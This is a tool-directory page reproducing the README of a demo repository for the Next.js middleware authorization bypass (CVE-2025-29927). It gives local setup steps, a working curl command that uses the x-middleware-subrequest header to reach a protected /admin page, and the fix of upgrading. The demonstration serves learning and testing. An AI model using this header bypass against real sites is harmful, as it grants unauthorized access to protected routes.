Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
NextJS_CVE-2025-29927 | Kitploit
Tools/GitHubGitHub/all3njk/nextjs_cve-2025-29927
Vulnerability AnalysisWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHuball3njk/nextjs_cve-2025-29927

NextJS_CVE-2025-29927

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Next.js Authorization Bypass Demo

This application demonstrates the x-middleware-subrequest vulnerability in Next.js 13.4.19, which allows bypassing middleware protection.

Setup

  1. Install dependencies:
root@kitploit:~
npm install
  1. Start the development server:
root@kitploit:~
npm run dev

Vulnerability Demonstration

The application has an admin page at /admin that should be protected by middleware. However, it can be accessed without authentication using the x-middleware-subrequest header.

Normal Flow

  1. Visit /admin - You will be redirected to /login
  2. Log in with any credentials - You will be redirected to /admin

Bypass Method

To bypass the authentication, you can use curl or any HTTP client to make a request with the x-middleware-subrequest header:

root@kitploit:~
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin

Security Implications

This vulnerability demonstrates how middleware protection can be bypassed in Next.js 13.4.19 by using the x-middleware-subrequest header. In a production environment, this could allow unauthorized access to protected routes.

Fix

To fix this vulnerability, upgrade to a newer version of Next.js where this issue has been patched.

Download Tool